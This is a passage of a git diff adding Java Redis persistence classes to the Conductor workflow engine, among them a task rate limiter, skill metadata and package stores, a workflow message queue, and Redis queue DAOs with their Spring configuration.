    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.Optional; +import java.util.UUID; + +import org.apache.commons.lang3.tuple.ImmutablePair; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.RateLimitingDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@Component +@Conditional(AnyRedisCondition.class) +public class RedisRateLimitingDAO extends BaseDynoDAO implements RateLimitingDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(RedisRateLimitingDAO.class); + + private static final String TASK_RATE_LIMIT_BUCKET = "TASK_RATE_LIMIT_BUCKET"; + + public RedisRateLimitingDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + super(jedisProxy, objectMapper, conductorProperties, properties); + } + + /** + * This method evaluates if the {@link TaskDef} is rate limited or not based on {@link + * TaskModel#getRateLimitPerFrequency()} and {@link TaskModel#getRateLimitFrequencyInSeconds()} + * if not checks the {@link TaskModel} is rate limited or not based on {@link + * TaskModel#getRateLimitPerFrequency()} and {@link TaskModel#getRateLimitFrequencyInSeconds()} + * + *

    The rate limiting is implemented using the Redis constructs of sorted set and TTL of each + * element in the rate limited bucket. + * + *

      + *
    • All the entries that are in the not in the frequency bucket are cleaned up by + * leveraging {@link JedisProxy#zremrangeByScore(String, String, String)}, this is done to + * make the next step of evaluation efficient + *
    • A current count(tasks executed within the frequency) is calculated based on the current + * time and the beginning of the rate limit frequency time(which is current time - {@link + * TaskModel#getRateLimitFrequencyInSeconds()} in millis), this is achieved by using + * {@link JedisProxy#zcount(String, double, double)} + *
    • Once the count is calculated then a evaluation is made to determine if it is within the + * bounds of {@link TaskModel#getRateLimitPerFrequency()}, if so the count is increased + * and an expiry TTL is added to the entry + *
    + * + * @param task: which needs to be evaluated whether it is rateLimited or not + * @return true: If the {@link TaskModel} is rateLimited false: If the {@link TaskModel} is not + * rateLimited + */ + @Override + public boolean exceedsRateLimitPerFrequency(TaskModel task, TaskDef taskDef) { + // Check if the TaskDefinition is not null then pick the definition values or else pick from + // the Task + ImmutablePair rateLimitPair = + Optional.ofNullable(taskDef) + .map( + definition -> + new ImmutablePair<>( + definition.getRateLimitPerFrequency(), + definition.getRateLimitFrequencyInSeconds())) + .orElse( + new ImmutablePair<>( + task.getRateLimitPerFrequency(), + task.getRateLimitFrequencyInSeconds())); + + int rateLimitPerFrequency = rateLimitPair.getLeft(); + int rateLimitFrequencyInSeconds = rateLimitPair.getRight(); + if (rateLimitPerFrequency <= 0 || rateLimitFrequencyInSeconds <= 0) { + LOGGER.debug( + "Rate limit not applied to the Task: {} either rateLimitPerFrequency: {} or rateLimitFrequencyInSeconds: {} is 0 or less", + task, + rateLimitPerFrequency, + rateLimitFrequencyInSeconds); + return false; + } else { + LOGGER.debug( + "Evaluating rate limiting for TaskId: {} with TaskDefinition of: {} with rateLimitPerFrequency: {} and rateLimitFrequencyInSeconds: {}", + task.getTaskId(), + task.getTaskDefName(), + rateLimitPerFrequency, + rateLimitFrequencyInSeconds); + long currentTimeEpochMillis = System.currentTimeMillis(); + long currentTimeEpochMinusRateLimitBucket = + currentTimeEpochMillis - (rateLimitFrequencyInSeconds * 1000L); + String key = nsKey(TASK_RATE_LIMIT_BUCKET, task.getTaskDefName()); + jedisProxy.zremrangeByScore( + key, "-inf", String.valueOf(currentTimeEpochMinusRateLimitBucket)); + int currentBucketCount = + Math.toIntExact( + jedisProxy.zcount( + key, + currentTimeEpochMinusRateLimitBucket, + currentTimeEpochMillis)); + if (currentBucketCount < rateLimitPerFrequency) { + jedisProxy.zadd( + key, + currentTimeEpochMillis, + currentTimeEpochMillis + ":" + UUID.randomUUID()); + jedisProxy.expire(key, rateLimitFrequencyInSeconds); + LOGGER.info( + "TaskId: {} with TaskDefinition of: {} has rateLimitPerFrequency: {} and rateLimitFrequencyInSeconds: {} within the rate limit with current count {}", + task.getTaskId(), + task.getTaskDefName(), + rateLimitPerFrequency, + rateLimitFrequencyInSeconds, + ++currentBucketCount); + Monitors.recordTaskRateLimited(task.getTaskDefName(), rateLimitPerFrequency); + return false; + } else { + LOGGER.info( + "TaskId: {} with TaskDefinition of: {} has rateLimitPerFrequency: {} and rateLimitFrequencyInSeconds: {} is out of bounds of rate limit with current count {}", + task.getTaskId(), + task.getTaskDefName(), + rateLimitPerFrequency, + rateLimitFrequencyInSeconds, + currentBucketCount); + return true; + } + } + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillMetadataDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillMetadataDAO.java new file mode 100644 index 0000000..72c1188 --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillMetadataDAO.java @@ -0,0 +1,156 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.conductoross.conductor.dao.SkillMetadataDAO; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Redis {@link SkillMetadataDAO}. Per owner, versions live in a {@code SKILL_META} hash keyed by + * {@code nameversion}; the latest-version pointer lives in a {@code SKILL_LATEST} hash keyed + * by {@code name}. Also serves {@code conductor.db.type=memory}. + */ +@Component +@Conditional(AnyRedisCondition.class) +@ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") +public class RedisSkillMetadataDAO extends BaseDynoDAO implements SkillMetadataDAO { + + private static final String SKILL_META = "SKILL_META"; + private static final String SKILL_LATEST = "SKILL_LATEST"; + private static final String SEP = "\u0000"; + + public RedisSkillMetadataDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + super(jedisProxy, objectMapper, conductorProperties, properties); + } + + private static String field(String name, String version) { + return name + SEP + version; + } + + @Override + public void save( + String ownerId, + String name, + String version, + boolean makeLatest, + String detailJson, + Long createdAt, + Long updatedAt) { + jedisProxy.hset(nsKey(SKILL_META, ownerId), field(name, version), detailJson); + if (makeLatest) { + jedisProxy.hset(nsKey(SKILL_LATEST, ownerId), name, version); + } + } + + @Override + public Optional find(String ownerId, String name, String version) { + return Optional.ofNullable( + jedisProxy.hget(nsKey(SKILL_META, ownerId), field(name, version))); + } + + @Override + public Optional latestVersion(String ownerId, String name) { + return Optional.ofNullable(jedisProxy.hget(nsKey(SKILL_LATEST, ownerId), name)); + } + + @Override + public List listVersions(String ownerId, String name) { + String prefix = name + SEP; + List out = new ArrayList<>(); + for (Map.Entry entry : + jedisProxy.hgetAll(nsKey(SKILL_META, ownerId)).entrySet()) { + if (entry.getKey().startsWith(prefix)) { + out.add(entry.getValue()); + } + } + return out; + } + + @Override + public List list(String ownerId, boolean allVersions) { + Map all = jedisProxy.hgetAll(nsKey(SKILL_META, ownerId)); + if (allVersions) { + return new ArrayList<>(all.values()); + } + List out = new ArrayList<>(); + for (Map.Entry latest : + jedisProxy.hgetAll(nsKey(SKILL_LATEST, ownerId)).entrySet()) { + String detail = all.get(field(latest.getKey(), latest.getValue())); + if (detail != null) { + out.add(detail); + } + } + return out; + } + + @Override + public void delete(String ownerId, String name, String version) { + jedisProxy.hdel(nsKey(SKILL_META, ownerId), field(name, version)); + String latest = jedisProxy.hget(nsKey(SKILL_LATEST, ownerId), name); + if (version.equals(latest)) { + recomputeLatest(ownerId, name); + } + } + + /** Re-point the latest version for a skill to its newest remaining version (by updatedAt). */ + private void recomputeLatest(String ownerId, String name) { + String prefix = name + SEP; + String newestVersion = null; + long newestUpdatedAt = Long.MIN_VALUE; + for (Map.Entry entry : + jedisProxy.hgetAll(nsKey(SKILL_META, ownerId)).entrySet()) { + if (!entry.getKey().startsWith(prefix)) { + continue; + } + String entryVersion = entry.getKey().substring(prefix.length()); + long updatedAt = readUpdatedAt(entry.getValue()); + if (newestVersion == null || updatedAt >= newestUpdatedAt) { + newestVersion = entryVersion; + newestUpdatedAt = updatedAt; + } + } + if (newestVersion != null) { + jedisProxy.hset(nsKey(SKILL_LATEST, ownerId), name, newestVersion); + } else { + jedisProxy.hdel(nsKey(SKILL_LATEST, ownerId), name); + } + } + + private long readUpdatedAt(String detailJson) { + try { + JsonNode node = objectMapper.readTree(detailJson).path("updatedAt"); + return node.isNumber() ? node.asLong() : 0L; + } catch (Exception e) { + return 0L; + } + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillPackageDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillPackageDAO.java new file mode 100644 index 0000000..a0038ec --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisSkillPackageDAO.java @@ -0,0 +1,68 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.Base64; + +import org.conductoross.conductor.dao.SkillPackageDAO; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Redis {@link SkillPackageDAO}. Package bytes (Base64-encoded) live in a single {@code SKILL_PKG} + * hash keyed by handle. Also serves {@code conductor.db.type=memory}. + */ +@Component +@Conditional(AnyRedisCondition.class) +@ConditionalOnProperty(name = "conductor.integrations.ai.enabled", havingValue = "true") +public class RedisSkillPackageDAO extends BaseDynoDAO implements SkillPackageDAO { + + private static final String SKILL_PKG = "SKILL_PKG"; + + public RedisSkillPackageDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + super(jedisProxy, objectMapper, conductorProperties, properties); + } + + @Override + public void put(String handle, byte[] data) { + jedisProxy.hset(nsKey(SKILL_PKG), handle, Base64.getEncoder().encodeToString(data)); + } + + @Override + public byte[] get(String handle) { + String encoded = jedisProxy.hget(nsKey(SKILL_PKG), handle); + return encoded == null ? null : Base64.getDecoder().decode(encoded); + } + + @Override + public boolean exists(String handle) { + return Boolean.TRUE.equals(jedisProxy.hexists(nsKey(SKILL_PKG), handle)); + } + + @Override + public void delete(String handle) { + jedisProxy.hdel(nsKey(SKILL_PKG), handle); + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAO.java new file mode 100644 index 0000000..e538b7a --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisWorkflowMessageQueueDAO.java @@ -0,0 +1,99 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +import com.netflix.conductor.common.model.WorkflowMessage; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.config.WorkflowMessageQueueProperties; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Redis List-backed implementation of {@link WorkflowMessageQueueDAO}. + * + *

    Each workflow's queue is stored as a Redis List with key {@code wmq:{workflowId}}. Messages + * are enqueued at the tail (RPUSH) and dequeued from the head via LRANGE + LTRIM. These two + * commands are not atomic by themselves, but Conductor's per-workflow execution lock ensures that + * only one decide() thread processes a given workflow at a time, so concurrent pops for the same + * workflow ID cannot occur. + * + *

    A TTL is applied on every push so that orphaned queues expire automatically. + */ +public class RedisWorkflowMessageQueueDAO extends BaseDynoDAO implements WorkflowMessageQueueDAO { + + private static final String KEY_PREFIX = "wmq:"; + + private final WorkflowMessageQueueProperties wmqProperties; + + public RedisWorkflowMessageQueueDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties, + WorkflowMessageQueueProperties wmqProperties) { + super(jedisProxy, objectMapper, conductorProperties, redisProperties); + this.wmqProperties = wmqProperties; + } + + @Override + public void push(String workflowId, WorkflowMessage message) { + String key = queueKey(workflowId); + long currentSize = jedisProxy.llen(key); + if (currentSize >= wmqProperties.getMaxQueueSize()) { + throw new IllegalStateException( + "Workflow message queue for workflowId=" + + workflowId + + " has reached the maximum size of " + + wmqProperties.getMaxQueueSize()); + } + jedisProxy.rpush(key, toJson(message)); + jedisProxy.expire(key, (int) wmqProperties.getTtlSeconds()); + } + + @Override + public List pop(String workflowId, int maxCount) { + String key = queueKey(workflowId); + // LRANGE reads [0, maxCount-1]; LTRIM removes those items from the head. + // Not atomic, but safe: Conductor's workflow lock prevents concurrent pops + // for the same workflow ID. + List items = jedisProxy.lrange(key, 0, maxCount - 1L); + if (items == null || items.isEmpty()) { + return Collections.emptyList(); + } + jedisProxy.ltrim(key, items.size(), -1); + return items.stream() + .map(json -> readValue(json, WorkflowMessage.class)) + .collect(Collectors.toList()); + } + + @Override + public long size(String workflowId) { + return jedisProxy.llen(queueKey(workflowId)); + } + + @Override + public void delete(String workflowId) { + jedisProxy.del(queueKey(workflowId)); + } + + private String queueKey(String workflowId) { + return nsKey(KEY_PREFIX + workflowId); + } +} diff --git a/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/BaseRedisQueueDAO.java b/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/BaseRedisQueueDAO.java new file mode 100644 index 0000000..5f5a7eb --- /dev/null +++ b/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/BaseRedisQueueDAO.java @@ -0,0 +1,291 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.mq.dao; + +import java.time.Duration; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.concurrent.BasicThreadFactory; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisCommands; + +import com.github.benmanes.caffeine.cache.Cache; +import com.github.benmanes.caffeine.cache.Caffeine; +import io.orkes.conductor.mq.ConductorQueue; +import io.orkes.conductor.mq.QueueMessage; +import lombok.extern.slf4j.Slf4j; +import redis.clients.jedis.params.ZAddParams; + +@Slf4j +public abstract class BaseRedisQueueDAO implements QueueDAO { + + private final String queueNamespace; + + private final String queueShard; + + private final Cache queues; + + protected final RedisProperties redisProperties; + + protected final ConductorProperties conductorProperties; + + protected final ExecutorService queueMonitorExecutor; + + protected final JedisCommands jedisCommands; + + private final Set queuesWithPayload = + Collections.newSetFromMap(new ConcurrentHashMap<>()); + + public BaseRedisQueueDAO( + JedisCommands jedisCommands, + RedisProperties redisProperties, + ConductorProperties conductorProperties) { + this.jedisCommands = jedisCommands; + this.redisProperties = redisProperties; + this.conductorProperties = conductorProperties; + + // Stack is used for the backward compatibility with the DynoQueues + this.queueNamespace = + redisProperties.getQueueNamespacePrefix() + "." + conductorProperties.getStack(); + + String az = redisProperties.getAvailabilityZone(); + this.queueShard = az.substring(az.length() - 1); + this.queues = + Caffeine.newBuilder() + .expireAfterAccess( + redisProperties.getQueueCacheExpireAfterAccessSeconds(), + TimeUnit.SECONDS) + .maximumSize(redisProperties.getQueueCacheMaxSize()) + .build(); + this.queueMonitorExecutor = + Executors.newFixedThreadPool( + 10, + new BasicThreadFactory.Builder() + .namingPattern("queue-monitor-prefetch-%d") + .build()); + } + + private String getPayloadKey(String queueName) { + return queueNamespace + ".QUEUE." + queueName + "." + queueShard + ".PAYLOAD"; + } + + protected abstract ConductorQueue getConductorQueue( + String queueKey, ExecutorService executorService); + + private ConductorQueue get(String queueName) { + // This scheme ensures full backward compatibility with existing DynoQueues as the drop in + // replacement + String queueKey = queueNamespace + ".QUEUE." + queueName + "." + queueShard; + return queues.get(queueName, key -> getConductorQueue(queueKey, queueMonitorExecutor)); + } + + @Override + public List peekFirstIds(String queueName, int count) { + String queueKey = queueNamespace + ".QUEUE." + queueName + "." + queueShard; + return jedisCommands.zrangeByScore(queueKey, 0, Double.POSITIVE_INFINITY, 0, count); + } + + @Override + public final void push(String queueName, String id, long offsetTimeInSecond) { + QueueMessage message = new QueueMessage(id, "", offsetTimeInSecond * 1000); + get(queueName).push(Arrays.asList(message)); + } + + @Override + public final void push(String queueName, String id, int priority, long offsetTimeInSecond) { + QueueMessage message = new QueueMessage(id, "", offsetTimeInSecond * 1000, priority); + get(queueName).push(Arrays.asList(message)); + } + + @Override + public final void push(String queueName, String id, int priority, Duration offsetTime) { + QueueMessage message = new QueueMessage(id, "", offsetTime.toMillis(), priority); + get(queueName).push(List.of(message)); + } + + @Override + public final void push(String queueName, List messages) { + List queueMessages = new ArrayList<>(); + for (Message message : messages) { + queueMessages.add( + new QueueMessage( + message.getId(), + message.getPayload(), + message.getTimeout() * 1000L, + message.getPriority())); + if (message.getPayload() != null && !message.getPayload().isEmpty()) { + jedisCommands.hset(getPayloadKey(queueName), message.getId(), message.getPayload()); + queuesWithPayload.add(queueName); + } + } + get(queueName).push(queueMessages); + } + + @Override + public final boolean pushIfNotExists(String queueName, String id, long offsetTimeInSecond) { + if (get(queueName).exists(id)) { + return false; + } + push(queueName, id, offsetTimeInSecond); + return true; + } + + @Override + public final boolean pushIfNotExists( + String queueName, String id, int priority, long offsetTimeInSecond) { + if (get(queueName).exists(id)) { + return false; + } + push(queueName, id, priority, offsetTimeInSecond); + return true; + } + + @Override + public final List pop(String queueName, int count, int timeout) { + List messages = get(queueName).pop(count, timeout, TimeUnit.MILLISECONDS); + return messages.stream().map(msg -> msg.getId()).collect(Collectors.toList()); + } + + @Override + public final List pollMessages(String queueName, int count, int timeout) { + List queueMessages = + get(queueName).pop(count, timeout, TimeUnit.MILLISECONDS); + boolean hasPayloads = queuesWithPayload.contains(queueName); + if (!hasPayloads) { + return queueMessages.stream() + .map( + msg -> + new Message( + msg.getId(), + msg.getPayload(), + msg.getId(), + msg.getPriority())) + .collect(Collectors.toList()); + } + String payloadKey = getPayloadKey(queueName); + return queueMessages.stream() + .map( + msg -> { + String payload = jedisCommands.hget(payloadKey, msg.getId()); + return new Message( + msg.getId(), + payload != null ? payload : msg.getPayload(), + msg.getId(), + msg.getPriority()); + }) + .collect(Collectors.toList()); + } + + @Override + public final void remove(String queueName, String messageId) { + get(queueName).remove(messageId); + if (queuesWithPayload.contains(queueName)) { + jedisCommands.hdel(getPayloadKey(queueName), messageId); + } + } + + @Override + public final int getSize(String queueName) { + return (int) get(queueName).size(); + } + + @Override + public final boolean ack(String queueName, String messageId) { + get(queueName).ack(messageId); + if (queuesWithPayload.contains(queueName)) { + jedisCommands.hdel(getPayloadKey(queueName), messageId); + } + return true; + } + + @Override + public final boolean setUnackTimeout(String queueName, String messageId, long unackTimeout) { + return get(queueName).setUnacktimeout(messageId, unackTimeout); + } + + @Override + public final boolean setUnackTimeoutIfShorter( + String queueName, String messageId, long unackTimeout) { + // ZADD XX LT: update score only if the new value is less (sooner delivery time). + // This is atomic in Redis and avoids pushing the evaluation further out than whatever + // shorter timeout another in-flight task already established. + double score = System.currentTimeMillis() + unackTimeout; + String queueKey = queueNamespace + ".QUEUE." + queueName + "." + queueShard; + ZAddParams params = ZAddParams.zAddParams().xx().lt().ch(); + Long modified = jedisCommands.zadd(queueKey, score, messageId, params); + return modified != null && modified > 0; + } + + @Override + public final void flush(String queueName) { + get(queueName).flush(); + if (queuesWithPayload.remove(queueName)) { + jedisCommands.del(getPayloadKey(queueName)); + } + } + + @Override + public Map queuesDetail() { + Map sizes = new HashMap<>(); + for (Map.Entry entry : queues.asMap().entrySet()) { + sizes.put(entry.getKey(), entry.getValue().size()); + } + return sizes; + } + + @Override + public final Map>> queuesDetailVerbose() { + Map>> queueDetails = new HashMap<>(); + for (ConductorQueue conductorRedisQueue : queues.asMap().values()) { + Map> verbose = new HashMap<>(); + + Map sizes = new HashMap<>(); + sizes.put("size", conductorRedisQueue.size()); + sizes.put("uacked", 0L); // we do not keep a separate queue + verbose.put(conductorRedisQueue.getShardName(), sizes); + queueDetails.put(conductorRedisQueue.getName(), verbose); + } + return queueDetails; + } + + @Override + public final boolean resetOffsetTime(String queueName, String id) { + return get(queueName).setUnacktimeout(id, 0); + } + + @Override + public final boolean containsMessage(String queueName, String messageId) { + return get(queueName).exists(messageId); + } + + public boolean postpone( + String queueName, String messageId, int priority, long postponeDurationInSeconds) { + push(queueName, messageId, priority, postponeDurationInSeconds); + return true; + } +} diff --git a/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/ClusteredRedisQueueDAO.java b/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/ClusteredRedisQueueDAO.java new file mode 100644 index 0000000..712f9de --- /dev/null +++ b/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/ClusteredRedisQueueDAO.java @@ -0,0 +1,46 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.mq.dao; + +import java.util.concurrent.ExecutorService; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisCommands; + +import io.orkes.conductor.mq.ConductorQueue; +import io.orkes.conductor.mq.redis.cluster.ConductorRedisClusterQueue; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +// FIXME: be aware that queues have their own prefix which is different from workflowNamespacePrefix +public class ClusteredRedisQueueDAO extends BaseRedisQueueDAO implements QueueDAO { + + private final JedisCommands jedisCommands; + + public ClusteredRedisQueueDAO( + JedisCommands jedisCommands, + RedisProperties redisProperties, + ConductorProperties conductorProperties) { + + super(jedisCommands, redisProperties, conductorProperties); + this.jedisCommands = jedisCommands; + log.info("Queues initialized using {}", ClusteredRedisQueueDAO.class.getName()); + } + + @Override + protected ConductorQueue getConductorQueue(String queueKey, ExecutorService executorService) { + return new ConductorRedisClusterQueue(queueKey, jedisCommands, executorService); + } +} diff --git a/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/RedisQueueDAO.java b/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/RedisQueueDAO.java new file mode 100644 index 0000000..9af9654 --- /dev/null +++ b/redis-persistence/src/main/java/io/orkes/conductor/mq/dao/RedisQueueDAO.java @@ -0,0 +1,46 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.mq.dao; + +import java.util.concurrent.ExecutorService; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisCommands; + +import io.orkes.conductor.mq.ConductorQueue; +import io.orkes.conductor.mq.redis.single.ConductorRedisQueue; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +// FIXME: be aware that queues have their own prefix which is different from workflowNamespacePrefix +public class RedisQueueDAO extends BaseRedisQueueDAO implements QueueDAO { + + private final JedisCommands jedisPool; + + public RedisQueueDAO( + JedisCommands jedisPool, + RedisProperties redisProperties, + ConductorProperties conductorProperties) { + + super(jedisPool, redisProperties, conductorProperties); + this.jedisPool = jedisPool; + log.info("Queues initialized using {}", RedisQueueDAO.class.getName()); + } + + @Override + protected ConductorQueue getConductorQueue(String queueKey, ExecutorService executorService) { + return new ConductorRedisQueue(queueKey, jedisPool, executorService); + } +} diff --git a/redis-persistence/src/main/java/io/orkes/conductor/mq/redis/config/RedisQueueConfiguration.java b/redis-persistence/src/main/java/io/orkes/conductor/mq/redis/config/RedisQueueConfiguration.java new file mode 100644 index 0000000..a5e5d31 --- /dev/null +++ b/redis-persistence/src/main/java/io/orkes/conductor/mq/redis/config/RedisQueueConfiguration.java @@ -0,0 +1,62 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.orkes.conductor.mq.redis.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisCommands; + +import io.orkes.conductor.mq.dao.ClusteredRedisQueueDAO; +import io.orkes.conductor.mq.dao.RedisQueueDAO; +import lombok.extern.slf4j.Slf4j; + +@Configuration +@Slf4j +public class RedisQueueConfiguration { + + @Bean + @Primary + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_standalone") + public QueueDAO getQueueDAO( + RedisProperties redisProperties, + ConductorProperties properties, + JedisCommands jedisCommands) { + return new RedisQueueDAO(jedisCommands, redisProperties, properties); + } + + @Bean + @Primary + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_sentinel") + public QueueDAO getSentinelQueueDAO( + RedisProperties redisProperties, + ConductorProperties properties, + JedisCommands jedisCommands) { + return new RedisQueueDAO(jedisCommands, redisProperties, properties); + } + + @Bean + @Primary + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_cluster") + public QueueDAO getClusterQueueDAO( + RedisProperties redisProperties, + ConductorProperties properties, + JedisCommands jedisCommands) { + return new ClusteredRedisQueueDAO(jedisCommands, redisProperties, properties); + } +} diff --git a/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/BaseDynoDAOTest.java b/redis-persistence/src/test/java/com/netflix/conductor/redis/dao/BaseDynoDAOTest.java new file mode 100644 index 0000000..72c643c --- /dev/null 